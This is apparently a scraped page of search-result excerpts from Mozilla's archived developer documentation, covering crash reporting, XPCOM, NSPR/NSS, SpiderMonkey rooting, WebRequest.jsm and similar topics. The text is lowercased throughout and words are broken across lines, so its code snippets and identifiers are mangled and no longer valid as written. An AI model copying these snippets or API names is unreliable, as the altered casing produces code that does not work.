vigator:browser"); let browser = win.gbrowser.selectedbrowser; if (browser.isremotebrowser) { browser.messagemanager.loadframescript('data:,let appinfo = components.classes["@mozilla.org/xre/app-info;1"];if (appinfo && appinfo.getser
vice(components.interfaces.nsixulruntime).processtype != components.interfaces.nsixulruntime.process_ty...
...pe_default) {components.utils.import("resource://gre/modules/ctypes.jsm");var zero = new ctypes.intptr_t(8);var badptr = ctypes.cast(zero, ctypes.pointertype(ctypes.int32_t));var crash = badptr.contents;}', true); } other techniques on os x if you use a nightly build (>= firefox 16), you can use acti
vity monitor's "sample process" feature to generate a sample.
Implementing QueryInterface
it addrefs the resulting interface, not this, thus following the com-correct way (particularly important in aggregation) it uses nscomtypeinfo<t>::getiid() instead of ktiid thus sa
ving a global declaration and global space it uses c 's static_cast,
via ns_static_cast, which detects errors when you can't really get to the desired interface.
...the ns_impl_query_interface2 macro can write this function for you (though it pains me to recommend macros), e.g., ns_impl_query_interface2(nsmyimplementation, nsix, nsiy) // implements |nsmyimplementation::queryinterface| as above ns_impl_query_interface1(nsfoo, nsifoo) // |nsfoo::queryinterface| pro
vides |nsifoo| and |nsisupports| ns_impl_query_interface0(nsbar) // |nsbar::queryinterface| can only pro
vide an |nsisupports| similarly, you can use the macro ns_impl_query_interface1 when you implement only one additional interface; and ns_impl_query_interface0 when you only implement nsisupports.
... my base class |nsbaseimplementation| pro
vides all the rest.
... original document information author(s): scott collins last updated date: may 8, 2003 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
JavaScript OS.Constants
using os.constants from the main thread to initialize os.constants for use in the main thread, add the following snippet to your code: components.classes["@mozilla.org/net/osfileconstantsser
vice;1"].
... getser
vice(components.interfaces.nsiosfileconstantsser
vice).
... emfile too many open files in the process enametoolong name too long enfile too many open files on the system enoent no such file or directory enomem cannot allocate memory enospc no space on de
vice enotdir is not a directory enxio de
vice no configured or does not support operation eopnotsupp (not always available under windows) operation not supported.
... exdev cross-de
vice link opening files unix access rights defined on all platforms but meaningful only on unix.
PerfMeasurement.jsm
method over
view static bool canmeasuresomething(); void reset(); void start(); void stop(); member fields recorded data variables these variables pro
vide access to the recorded data.
... context_switches uint64 the number of context switches that occurred invol
ving the thread being profiled.
... event types measured constant the eventsmeasured constant pro
vides a mask indicating which event types were recorded.
...for each enabled counter, the number of measured events of that type that occurred are added to the appropriate
visible variable.
SourceMap.jsm
get a reference to the module: let sourcemap = {}; components.utils.import('resource:///modules/devtools/sourcemap.jsm', sourcemap); sourcemapconsumer a sourcemapconsumer instance represents a parsed source map which we can query for information about the original file positions by gi
ving it a file position in the generated source.
... names: an array of identifiers that can be referenced by indi
vidual mappings.
... sourcemapconsumer.prototype.originalpositionfor(generatedposition) returns the original source, line, and column information for the generated source's line and column positions pro
vided.
... sourcenode sourcenodes pro
vide a way to abstract over interpolating and/or concatenating snippets of generated javascript source code, while maintaining the line and column information associated between those snippets and the original source code.
WebRequest.jsm
the webrequest module pro
vides an api to add event listeners for the various stages of making an http request.
...for example, it ob
viously doesn't make sense to cancel a network request after it has completed.
... handlerbeha
viorchanged() is not supported.
... types: ["image"] }, ["blocking"]); function redirect(e) { console.log("redirecting: " + e.url); return {redirecturl: "https://38.media.tumblr.com/tumblr_ldbj01lzip1qe0eclo1_500.gif"}; } modifying headers this code changes the user agent header so the browser identifies itself as ie 11, but only when
visiting pages under "http://useragentstring.com/": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern("http://useragentstring.com/*"); let ua = "mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; as; rv:11.0) like gecko"; webrequest.onbeforesendheaders.addlistener(changeuseragent, ...
Setting up the infrastructure
this way the localizers will be able to pre
view their changes almost in real-time.
... stats-po.sh will give you a bird's-eye
view on the statistics of translated, fuzzy and missing strings for each locale.
... re
view the english content following the web content localizability guidelines.
... re
view your code following the web applications localizability guidelines.
MathML3Testsuite
the sections are marked with passed, failed, not-tested or some parts pass, gi
ving the status of trunk builds with the appropriate fonts installed.
... when the markup is intentionally errorous, the correct beha
vior is not defined by the recommendation and hence the tests are considered passed if there is no fatal error (crash, etc).
... this exception also holds for obsolete features (such as macro, mode etc) or for other undefined beha
viors (attribute href for example).
...ressions generallayout scriptsandlimits tablesandmatrices tokenelements topics accents bidi elementarymathexamples embellishedop largeop linebreak nesting stretchychars whitespace torturetests errorhandling original document information author(s): frédéric wang other contributors: last updated date: may 26, 2010 copyright information: portions of this content are © 2010 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Updates
may 8, 2007 mozilla ceo speaks out on the future of firefox: the complete 8,000 word inter
view.
... inter
view to the apc magazine where mitchell baker mentions roger sidje's work on mathml.
... june 5, 2002 mozilla 1.0 released "by
virtue of embedding gecko, mozilla 1.0 and products based on mozilla code support more web standards, more deeply, more consistently across more platforms than any others.
... may 23, 1999 reader opinion: mathml's
viability - talkback may 14, 1999 mozilla mathml project underway may 1999 mozilla mathml project initiation ...
Mozilla Port Blocking
by default, mozilla now blocks access to specific ports which are used by vulnerable ser
vices in order to prevent security vulnerabilites due to "cross-protocol scripting".
..."access to the port number given has been disabled for security reasons." "establishing a connection to an unsafe or otherwise banned port was prohibited" "0x804b0013 (ns_error_port_access_not_allowed)" if your product or web site uses a port which is blocked by mozilla's default port blocking rules, you can either change the port of your ser
vice to a unblocked value (recommended if possible) or ask your mozilla users to enable the port.
...enabling ports user_pref("network.security.ports.banned.override, "port1,port2"); disabling ports user_pref("network.security.ports.banned", "port3,port4"); blocked ports ports blocked by default in mozilla: port ser
vice 1 tcpmux 7 echo 9 discard 11 systat 13 daytime 15 netstat 17 qotd 19 chargen 20 ftp data 21 ftp control 22 ssh 23 telnet 25 smtp 37 time 42 name 43 nicname 53 domain 77 priv-rjs ...
... more information nsioser
vice.cpp gbadportlist bug 83401 vulnerability note vu#476267 dougt@netscape.com original document information author(s): doug turner last updated date: august 15, 2007 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Mozilla Development Tools
it is our home-grown web-based tool for watching the up-to-the-minute goings-on in our cvs repository (
viewing checkins and log messages, reading diffs, etc.) tinderbox tinderbox is for knowing when the tree is in flames.
...it is how we are able to tell when a checkin has broken the build on some platform, and how we know which person needs to be
viciously flogged.
...it lets developers and others edit pages on the mozilla.org web site without ha
ving to use cvs.
... original document information author(s): myk melez last updated date: november 8, 2005 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Investigating leaks using DMD heap scan mode
this can come in handy during the manual analysis phase later, to get e
vidence to support your hunches.
... the output will look something like this, after a message about loading progress: 0x7f0882fe3230 [fragmentorelement (xhtml) script https://www.example.com] --[[
via hash] mlistenermanager]--> 0x7f0899b4e550 [eventlistenermanager] --[mlisteners event=onload listenertype=3 [i]]--> 0x7f0882ff8f80 [callbackobject] --[mincumbentglobal]--> 0x7f0897082c00 [nsglobalwindowinner # 2147483662 inner https://www.example.com] root 0x7f0882fe3230 is a ref counted object with 1 unknown edge(s).
..."[
via hash] mlistenermanager" is a description of that strong reference.
... for instance, one of the strong references in the cc log is from a head element to its child
via mattrsandchildren, and that sounds a lot like this, so we can mark it as being a strong known reference.
Memory Profiler
this article details how to use an old profiler specifically designed for firefox os de
vices.
... timeline
view this
view shows the allocation event across the period of time.
... rank-list
view and tree
view the rank-list
view shows top functions that are most memory eager.
... the tree
view shows functions as call trees.
Reporting a Performance Problem
visit https://profiler.firefox.com/ click on "enable profiler menu button" the profiler toolbar button will show up in the top right of the url bar as a small stopwatch icon you can right-click on the button and remove it from the toolbar when you're done with it.
... using the keyboard shortcuts is often more convenient than using the mouse to interact with the ui: ctrl+shift+1 - start/stop the profiler ctrl+shift+2 - take a profile and launch the
viewer to
view it capturing and sharing a profile while the profiler is recording, reproduce the performance problem.
...try to give some context about what you were doing when the performance problem arose such as the url you were
viewing and what actions were you doing (ex.
...
viewing addon performance in gecko
view sometimes an addon or more are slowing down firefox.
tools/power/rapl
these are machine-wide estimates, so if you want to estimate the power consumption of a single program you should minimize other acti
vity on the machine while measuring.
... note: the power profiling over
view is worth reading at this point if you haven't already.
... sudo $objdir/dist/bin/rapl alternatively, it can be run without root pri
vileges by setting the contents of /proc/sys/kernel/perf_event_paranoid to 0.
... the package estimate is di
vided into three parts: cores, gpu, and "other".
MailNews automated testing
it allows re
viewers to quickly pick up regressions in patches and helps developers to think about different cases.
... this page and its sub-pages describe (and link to) the available test mechanisms within mailnews, and pro
vide supporting information for developers and testers.
...mailnews pro
vides additional facilities as described on the mailnews automated testing page (see below).
... message injection: inject synthesized messages
via local or imap (using a fake server).
McCoy
mccoy is an application that allows add-on authors to pro
vide secure updates to their users.
... if you want to learn about the technical details of mccoy then
visit the project wiki.
...mccoy is pro
vided in the standard package for your operating system, just extract it where you like and run it.
...however, there are several external and unofficial tools which enable signing from command line: uhura - part of the mxtools package from softlights http://www.softlights.net/projects/mxtools/uhura.html signontheline - an extension to mccoy - important: you have to checkout rev 222, later re
visions are not working in mccoy!
NSPR Poll Method
the nspr library pro
vides a reference implementation of the bottom layer using the sockets api, but you can pro
vide your own implementation of the bottom layer using another network transport api.
... for pr_recv, you should pass pr_poll_read as the in_flags argument to the poll method for pr_send, you should pass pr_poll_write as the in_flags argument to the poll method out_flags [output argument] if an i/o layer is ready to satisfy the i/o request defined by in_flags without invol
ving the underlying network transport, its poll method sets the corresponding event in *out_flags on return.
...the current implementation of pr_poll (the primary user of the poll method) requires that the events in *out_flags reflect the caller's
view.
...these events may be different from the events in in_flags (which reflect the caller's
view) for some protocols.
NSPR LOG FILE
this en
vironment variable specifies the file to which log messages are directed.
... description use this en
vironment variable to specify a log file other than the default.
... if nspr_log_file is not in the en
vironment, then log output is written to stdout or stderr, depending on the platform.
...nspr logging, when enabled, writes to the file named in this en
vironment variable.
NSPR Types
calling convention types are used for externally
visible functions and globals.
... pr_callback is used for definitions and declarations of functions that are called
via function pointers.
... here are some simple examples of the use of these types: in dowhim.h: pr_extern( void ) dowhatimean( void ); static void pr_callback rootfunction(void *arg); in dowhim.c: pr_implement( void ) dowhatimean( void ) { return; }; prthread *thread = pr_createthread(..., rootfunction, ...); algebraic types nspr pro
vides the following type definitions with unambiguous bit widths for algebraic operations: 8-, 16-, and 32-bit integer types 64-bit integer types floating-point number type for convenience, nspr also pro
vides type definitions with platform-dependent bit widths: native os integer types 8-, 16-, and 32-bit integer types signed integers print8 print16 print32 unsigned integers pr...
...conscientious use of these macros ensures portability of code to all the platforms supported by nspr and still pro
vides optimal beha
vior on those systems that treat long long values directly.
PRTimeParameters
syntax #include <prtime.h> typedef struct prtimeparameters { print32 tp_gmt_offset; print32 tp_dst_offset; } prtimeparameters; description each geographic location has a standard time zone, and if daylight sa
ving time (dst) is practiced, a daylight time zone.
... tp_dst_offset if daylight sa
vings time (dst) is in effect, the dst adjustment from the local standard time.
...tp_dst_offset is 0, indicating that daylight sa
ving time is not in effect.
...japan does not use daylight sa
ving time, so the only time zone is japan standard time (jst).
PR_GetRandomNoise
description pr_getrandomnoise pro
vides a random value, depending on platform.
... the length of the random value is dependent on the platform and its ability to pro
vide a random value at that moment.
... pr_getrandomnoise is intended to pro
vide a "seed" value for a another random number generator that may be suitable for cryptographic operations.
... this implies that the random value pro
vided may not be, by itself, cryptographically secure.
NSPR
netscape portable runtime (nspr) pro
vides a platform-neutral api for system level and libc-like functions.
... ubuntu: install the libnspr4-dev package
via apt-get.
... debian: install the libnspr4-dev package
via apt-get.
... opensuse linux: install one or more of the following
via yast or zypper : mozilla-nspr : binary libraries for your platform mozilla-nspr-32bit : binary libraries needed to run 32-bit programs on a 64-bit os mozilla-nspr-devel : files needed (in addition to the above libraries) to compile programs using nspr mozilla-nspr-debuginfo : debug information (including build symbols) for package mozilla-nspr mozilla-nspr-debuginfo-32bit : debug information (including build symbols) for package mozilla-nspr-32bit mozilla-nspr-debugsource : debug sources for all of the above community
view mozilla forums...
Building NSS
build en
vironment nss needs a c and c++ compiler.
... use_64 0 build for a 32-bit en
vironment/abi.
... 1 build for a 64-bit en
vironment/abi.
... run the standard suite by: host=localhost domsuf=localdomain use_64=1 nss/tests/all.sh unit test configuration nss tests are configured using en
vironment variables.
JSS 4.4.0 Release Notes
introduction the java security ser
vices (jss) team has released jss 4.4.0, which is a minor release.
...jss 4.4.0 requires netswork security ser
vices (nss) 3.29.1 and netscape portable runtime (nspr) 4.13.1 or newer.
... support for tls v1.1 and tls v1.2
via nss though jss.
... bugs fixed in jss 4.4.0 this bugzilla query returns all the bugs fixed in nss 4.4.0: https://bugzilla.mozilla.org/buglist.cgi?product=jss&target_milestone=4.4&target_milestone=4.4&bug_status=resolved&resolution=fixed documentation build instructions for jss at https://hg.mozilla.org/projects/jss/file/tip/readme platform information you can check out the source from mercurial
via hg clone -r 055aa3ce8a61 https://hg.mozilla.org/projects/jss jss 4.4.0 works with openjdk versions 1.7 or higher we suggest the latest - openjdk 1.8.
NSS_3.11.10_release_notes.html
nss 3.11.10 release notes 2008-12-10 newsgroup: <ahref="news: mozilla.dev.tech.crypto"="" news.mozilla.org="">mozilla.dev.tech.crypto</ahref="news:> contents introduction distribution information bugs fixed documentation compatibility feedback introduction network security ser
vices (nss) 3.11.10 is a patch release for nss 3.11.
...both debug and optimized builds are pro
vided.
... bug 291384: certutil -k beha
vior doesn't match usage bug 374247: modutil -disable command not disabling modules' slots bug 384459: certification path validation fails when authority key identifier extension contains key identifier bug 385946: can't import certificate into cert database in fips mode (certutil).
...new and re
vised documents available since the release of nss 3.9 include the following: build instructions for nss 3.11.4 and above compatibility nss 3.11.10 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS_3.12.2_release_notes.html
nss 3.12.2 release notes 2008-10-20 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.2 bugs fixed documentation compatibility feedback introduction network security ser
vices (nss) 3.12.2 is a patch release for nss 3.12.
...both debug and optimized builds are pro
vided.
... new in nss 3.12.2 new functions in the nss shared library: sec_pkcs12addcertorchainandkey (see p12.h) new pkcs11 errors (see secerr.h) sec_error_pkcs11_general_error sec_error_pkcs11_function_failed sec_error_pkcs11_de
vice_error bugs fixed the following bugs have been fixed in nss 3.12.2.
...new and re
vised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.14.1 release notes
introduction network security ser
vices (nss) 3.14.1 is a patch release for nss 3.14.
...this regression only affected applications that initialize nss
via the nss_nodb_init function.
... bug 802429 - in pre
vious versions of nss, the "cipherorder" slot configuration flag was not respected, causing the most recently added slot that supported the requested pkcs#11 mechanism to be used instead.
...in pre
vious versions of nss, these algorithms would be handled by the most recently added pkcs#11 token that supported them.
NSS 3.18 release notes
introduction the nss team has released network security ser
vices (nss) 3.18, which is a minor release.
...it is possible to run tstclnt without pro
viding a database (-d).
... a pkcs#11 library that contains root ca certificates can be loaded by tstclnt, which may either be the nssckbi library pro
vided by nss (-b) or another compatible library (-r).
... in p12.h sec_pkcs12decoderrenamecertnicknames - call an application pro
vided callback for each certificate found in a sec_pkcs12decodercontext.
NSS 3.24 release notes
introduction the network security ser
vices (nss) team has released nss 3.24, which is a minor release.
...separate functions for configuring online certificate status protocol (ocsp) responses or signed certificate timestamps are not needed, since these can be added to the optional sslextraservercertdata struct pro
vided to ssl_configservercert.
... disable (by default) nss support in optimized builds for logging ssl/tls key material to a logfile if the sslkeylogfile en
vironment variable is set.
... bugs fixed in nss 3.24 this bugzilla query returns all the bugs fixed in nss 3.24: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.24 acknowledgements the nss development team would like to thank yuval yarom for responsibly disclosing the cachebleed attack by pro
viding advance copies of their research.
NSS 3.45 release notes
introduction the nss team has released network security ser
vices (nss) 3.45 on 5 july 2019, which is a minor release.
... bug 1546477 - various changes in response to the ongoing fips re
view note: the source package size has increased substantially due to the new fips test vectors.
...99f5bc1174b73cbb1d620884e01c34e51ccb3978da125f0e33268883bf4158 bugs fixed in nss 3.45 bug 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) bug 1515342 - more thorough input checking (cve-2019-11729) bug 1552208 - prohibit use of rsassa-pkcs1-v1_5 algorithms in tls 1.3 (cve-2019-11727) bug 1227090 - fix a potential di
vide-by-zero in makepfromqandseed from lib/freebl/pqg.c (static analysis) bug 1227096 - fix a potential di
vide-by-zero in pqg_verifyparams from lib/freebl/pqg.c (static analysis) bug 1509432 - de-duplicate code between mp_set_long and mp_set_ulong bug 1515011 - fix a mistake with chacha20-poly1305 test code where tags could be faked.
...59906 - fipstest: use ckm_tls12_master_key_derive instead of vendor specific mechanism bug 1558126 - tls_aes_256_gcm_sha384 should be marked as fips compatible bug 1555207 - helloretryrequestcallback return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setwrapkey bug 1558681 - stop using a global for anti-replay of tls 1.3 early data bug 1561510 - fix a bug where remo
ving -arch xxx args from cc didn't work bug 1561523 - add a string for the new-ish error ssl_error_missing_post_handshake_auth_extension this bugzilla query returns all the bugs fixed in nss 3.45: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.45 compatibility nss 3.45 shared libraries are backward compat...
nss tech note1
a "null template" is a template that is all zeros, ha
ving a zero kind.† the term "null-terminated array", as used throughout this document, means an array of templates, the last of which is a null template.
...a sec_asn1_primitive macro is also pro
vided, but does not need to be included as it is zero.
...the following macros are pro
vided for tag numbers within the universal class : sec_asn1_boolean, sec_asn1_integer, sec_asn1_bit_string, sec_asn1_octet_string, sec_asn1_null, sec_asn1_object_id, sec_asn1_object_descriptor,† sec_asn1_real, sec_asn1_enumerated, sec_asn1_embedded_pdv, sec_asn1_utf8_string, sec_asn1_sequence, sec_asn1_set, sec_asn1_numeric_string, sec_asn1_printable_string, sec_asn1_t61_string, sec_asn1_teletex_string, sec_asn1_t61_string, sec_asn1_
videotex_string, sec_asn1_ia5_str...
...ing, sec_asn1_utc_time, sec_asn1_generalized_time, sec_asn1_graphic_string, sec_asn1_
visible_string, sec_asn1_general_string, sec_asn1_universal_string, sec_asn1_bmp_string note that for sec_asn1_set and sec_asn1_sequence types, you must also include the method type macro sec_asn1_constructed to construct a fully valid tag, as defined by the asn.1 standard .
nss tech note2
using the pkcs #11 module logger nss technical note: 2 modes of operation extracting output from log files the logger displays all acti
vity between nss and a specified pkcs #11 module.
...to enable the module logger, you must set the en
vironment variable nss_debug_pkcs11_module to the name of the target module.
...no additional en
vironment variables are required for this mode.
... if the en
vironment variable nss_output_file is set, its value will be used as the path name of the file to which the final output will be written.
FC_Initialize
prefix='' keyprefix='' secmod='' flags=readonly,nocertdb,nomod db,forceopen,optimizespace " mozilla firefox initializes nss with this string (on windows): "configdir='c:\\documents and settings\\wtc\\application data\\mozilla\\firefox\\profiles\\default.7tt' certprefix='' keyprefix='' secmod='secmod.db' flags=optimizespace manufacturerid='mozilla.org' librarydescription='psm internal crypto ser
vices' cryptotokendescription='generic crypto ser
vices' dbtokendescription='software security de
vice' cryptoslotdescription='psm internal cryptographic ser
vices' dbslotdescription='psm private keys' fipsslotdescription='psm internal fips-140-1 cryptographic ser
vices' fipstokendescription='psm fips-140-1 user private key ser
vices' minps=0" see pkcs #11 module specs for complete documentation of the ...
... only some of the lock functions were pro
vided by the application.
...the nss cryptographic module always uses os locking and doesn't know how to use the lock functions pro
vided by the application.
... ckr_de
vice_error we failed to create the oid tables, random number generator, or internal locks.
TLS Cipher Suite Discovery
each new release of a tls implementation may contain support for new cipher suites not supported in pre
vious versions.
...libssl pro
vides enough information about each of the supported cipher suites that the application can construct a display of that information from which the user can choose which cipher suites his application will attempt to use.
...*/ ssl_import const pruint16 ssl_numimplementedciphers; of course, the raw integer numbers of the cipher suites are not likely to be known to most users, so libssl pro
vides a function by which the application can obtain a wealth of information about any supported cipher suite, by its number.
... this function is declared in "ssl.h" as follows: ssl_import secstatus ssl_getciphersuiteinfo( pruint16 ciphersuite, sslciphersuiteinfo *info, pruintn len); the application pro
vides the cipher suite number for which it wants information, the address of a block of memory allocated to receive that information, and the size in bytes of that block of memory.
NSS Tools pk12util
if not specified the directory defaults to $home/.netscape (when $home exists in the en
vironment), or to ./.netscape (when $home does not exist in the en
vironment).
...this option is pro
vided as a special case.
... key-cipher specify the key encryption algorithm -c certcipher specify the pfx encryption algorithm -m | --key_len keylen specify the desired length of the symmetric key to be used to encrypt the private key -n | --cert_key_len certleylen specify the desired length of the symmetric key to be used to encrypt the top level protocol data unit password based encryption pkcs #12 pro
vides for not only the protection of the private keys but also the certificate and meta-data associated with the keys.
...triple des-cbc" "pkcs12 v2 pbe with sha1 and 2key triple des-cbc" "pkcs12 v2 pbe with sha1 and 128 bit rc2 cbc" "pkcs12 v2 pbe with sha1 and 40 bit rc2 cbc" pkcs #5 pbe ciphers: "pkcs #5 password based encryption with md2 and des cbc" "pkcs #5 password based encryption with md5 and des cbc" "pkcs #5 password based encryption with sha1 and des cbc" it should be noted that the the crypto pro
vider may be the softtoken module or an external hardware module.
NSS tools : signver
still, nss requires more flexibility to pro
vide a truly shared security database.
...these new databases pro
vide more accessibility and performance: o cert9.db for certificates o key4.db for keys o pkcs11.txt, which is listing of all of the pkcs #11 modules contained in a new subdirectory in the security databases directory because the sqlite databases are designed to be shared, these are the shared database type.
...for example: # signver -a -s signature -d sql:/home/my/sharednssdb to set the shared database type as the default type for the tools, set the nss_default_db_type en
vironment variable to sql: export nss_default_db_type="sql" this line can be set added to the ~/.bashrc file to make the change permanent.
... references
visible links 1.
The Necko HTTP module
notes class over
view this document pro
vides an over
view of the classes used to implement the http module.
... pipelining faq this document gives an over
view of http/1.1 pipelining by answering some frequently asked questions.
... caching faq this document gives an over
view of how http caching is implemented in necko.
... original document information last updated date: may 12, 2003 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details ...
Pork
the core of pork is a c++ parser that pro
vides exact character positions for the start and end of every ast node, as well as the set of macro expansions that contain any location.
...the inputs dri
ving the rewriting would normally be pro
vided by a program-analysis system outside of pork.
...as of october 2009 oink incorporates the pork functionality into its standard distribution; look for files and tests ha
ving the prefix "xform".
... old pork page pork details that haven't been moved to mdc renaming with pork sample pork application todos pork 1.0 release tracking bug pork releases download pork here community
view pork forums...
Rhino license
* * redistribution and use in source and binary forms, with or without * modification, are permitted pro
vided that the following conditions * are met: * * - redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer.
... * * - redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials pro
vided with the distribution.
... * * this software is pro
vided by the copyright holders and contributors "as * is" and any express or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed.
... in no event shall the copyright owner or * contributors be liable for any direct, indirect, incidental, special, * exemplary, or consequential damages (including, but not limited to, * procurement of substitute goods or ser
vices; loss of use, data, or * profits; or business interruption) however caused and on any theory of * liability, whether in contract, strict liability, or tort (including * negligence or otherwise) arising in any way out of the use of this * software, even if ad
vised of the possibility of such damage.
The JavaScript Runtime
the beha
vior of the javascript engine is undefined if a value of any type other than the ones described above is introduced into javascript.
... defining host objects host objects are javascript objects that pro
vide special access to the host en
vironment.
... for example, in a browser en
vironment, the window and document objects are host objects.
... if the ser
vices pro
vided by defineclass are insufficient, try other methods of scriptableobject and functionobject, such as defineproperty and definefunctionproperties.
GC Rooting Guide
since spidermonkey has a mo
ving gc, it is very important that it knows about each and every pointer to a gc thing in the system.
...there are two different approaches to resol
ving this; use whichever better fits your situation: void somefunction(jscontext* cx, js::mutablehandleobject obj) { eventlogger(cx); ...code...
... are the main autorooters defined: type autorooter class js::value[] autoarrayrooter js::vector<js::value> autovaluevector js::vector<jsid> autoidvector js::vector<jsobject*> autoobjectvector js::vector<jsscript*> autoscriptvector if your case is not covered by one of these, it is possible to write your own by deri
ving from js::customautorooter and overriding the
virtual trace() method.
... one consequence of ha
ving different rooting requirements for heap and stack data is that a single structure containing gc thing pointers cannot be used on both the stack and the heap.
Exact Stack Rooting
by using js::handlet in the interface instead of direct gcpointers, we ensure that the gcthing is already rooted on some pre
vious stack frame, freeing us from ha
ving to worry about rooting the gcthing for the duration of the call.
... warning: never give a function a js::handlet return type: this can easily lead to a js::handlet outli
ving its js::rootedt's lifetime.
...it would be very easy to
violate the lifo constraint if you did this.
...note: spidermonkey can gc because of any error, gc because of timers, gc because we are low on memory, gc because of en
vironment variables, gc because of cosmic rays, etc.
Invariants
js_setparent can
violate this, if the application is really that dumb, but generally every object is newer than its __parent__.) the tracejit must not trace into a function whose scope chain ends in a different global object.
...the same slot being allocated to more than one property would be a problem for ob
vious reasons.) all jsshapes in dictionary-mode objects have the in_dictionary flag set.
... almost all jsapi callbacks pro
vide a request; that is, when we call a callback with a cx argument, we know statically that we must be in a request on cx there.
...js_setwatchpoint
violates this rule.) whether a property is locked, and which one, is static information for almost every line of code.
JS::Value
the different representations are
visible using the separate int32/double methods but do not affect observable semantics (ignoring performance).
...(note that both -0 and +0 are allowed, and the latter may sometimes be stored using the int32_t representation.) js::value further pro
vides these methods combining various aspects of the above methods: js::objectornullvalue(jsobject*) returns an object value corresponding to the given non-null pointer, or a null value if the pointer is null.
...so it might free it, lea
ving a dangling pointer.
...in some places, spidermonkey pro
vides already-rooted js::values which you can use for variables.
JSNewResolveOp
flags uint32_t obsolete since jsapi 31 flags gi
ving contextual information about the ongoing property access.
... description like jsresolveop, but flags pro
vide contextual information about the property access.
...this hook instead of jsresolveop is called
via the jsclass.resolve member if jsclass_new_resolve is set in jsclass.flags.
... setting jsclass_new_resolve and jsclass_new_resolve_gets_start further extends this hook by passing in the starting object on the prototype chain
via *objp.
JS_GetGCParameter
jsgc_mode / "mode" select gc mode: jsgc_mode_global (0) the gc runs all objects are
visited in a singleslice.
... jsgc_mode_zone (1) the gc runs only the objects that belong to somezones are
visited in a singleslice.
... jsgc_mode_incremental (2) the gc runs all objects are
visited in multipleslices.
... jsgc_mode_zone_incremental (3) the gc runs only the objects that belong to somezones are
visited in multipleslices.
JS_GetParent
an object created by a script
via the new keyword has the same parent as the constructor.
... an object created by a script
via implicit conversion (the ecmascript toobject operator), an object initializer ({a: 1, b: 2}), or an array initializer ([1, 2, 3]), has the global object as its parent.
... the initial parent of an object created
via the jsapi depends on the particular jsapi function (of which there are many that create objects, including but not limited to js_newobject, js_constructobject, js_defineobject, js_valuetoobject, js_newarrayobject, js_newscriptobject, js_newfunction, js_compilefunction, js_definefunction, js_definefunctions, and js_initclass).
...see the security section of the user guide for an introduction to the security model.) in some cases, javascript code can get an object's parent
via the read-only obj.__parent__ property.
JS_ParseJSON
syntax jsbool js_parsejson(jscontext *cx, const jschar *chars, uint32 len, jsval *vp); jsbool js_parsejsonwithre
viver(jscontext *cx, const jschar *chars, uint32 len, jsval re
viver, jsval *vp); name type description cx jscontext * pointer to a js context.
... index jsint (in js_parsejsonwithre
viver only) a re
viver function to apply to the created value after parsing; see json.parse.
...*vp receives the value after parsing (and optionally, processing by the re
viver).
...mxr id search for js_parsejson mxr id search for js_parsejsonwithre
viver ...
JS_PropertyStub
it behaves exactly like a property callback that accepts the default property beha
vior: it does nothing and returns true.
...it behaves exactly like a property callback that accepts the default property beha
vior: it does nothing and returns true.
...it behaves exactly like a property callback that accepts the default property beha
vior: it does nothing and returns true.
...its beha
vior is the same as the default conversion beha
vior for objects.
Setting up CDT to work on SpiderMonkey
eclipse's cdt has some pretty decent features that make it an attractive en
vironment to work in when you are interested in getting code hints, autocompletion, function, and field usage information and general ide goodness for c/c++.
... instead, change "build command" to read make -w (this is required because cdt needs detailed information about which directories make operates on, which using -w causes make to pro
vide).
... under "beha
vior", make sure that "enable parallel build" is deactivated, as cdt’s indexer will freak out otherwise.
...under the "pro
viders" group tab, select "cdt gcc build output parser" and add the string |(ccache) to the end of the "compiler command pattern" text input.
Zest
over
view zest is an experimental specialized scripting language (also known as a domain-specific language) developed by the mozilla security team and is intended to be used in web oriented security tools.
... the language is written in json, but we do not expect people to write zest in this format - it is designed to be a
visual language.
... anyone can contribute to the onward development of zest, and teams or indi
viduals who develop security tools are especially welcome to join and help shape zest's future.
... zest topics usecases reporting security vulnerabilities to developers reporting security vulnerabilities to companies defining active and passive scanner rules deep integration with security tools runtimes the runtime en
vironments that support zest tools the tools that include support zest implementation the state of zest development
videos simon demoed zest at appsec usa in november 2013, and the full
video of my talk is available on youtube.
Using the Places keywords API
note this is the same feature pre
viously known as bookmark keywords, the key difference is that keywords are not bound to a specific bookmark, but to a specific url.
... fetching an entry by keyword the fetch() method acceps a keyword string (or an object ha
ving a keywords property) and might resolve to a keyword entry with the following properties: keyword: string representing the keyword url: the url represeted by the keyword postdata: optional post data string.
...note that fetch() always resolves to a single entry, to fetch all of the entries it's necessary to pro
vide a callback function.
... placesutils.keywords.fetch({ url: "http://www.example.com/" }, entry => { /* invoked for each found keyword entry */ }) .then(oneentry => { /* oneentry is either null, or one of the keyword entries */ }, e => { /* failure */}); remo
ving a keyword the remove() method accepts a keyword string.
XML Extras
feature status feature status xmlserializer available xmlhttprequest available domparser (string and stream input source) available web ser
vices with soap and wsdl no longer available from gecko 1.9/firefox 3.
... qa and testing there are some online tests for mainly exercising the http get method
via xmlhttprequest.
... contribute a test suite or indi
vidual tests that use the implemented components.
... xmlhttprequest.open("ahost") ok file:// documents can access http:// documents but you need to enable universalbrowserread pri
vilege in your scripts - see the javascript security: signed scripts document for more details.
Standard XPCOM components
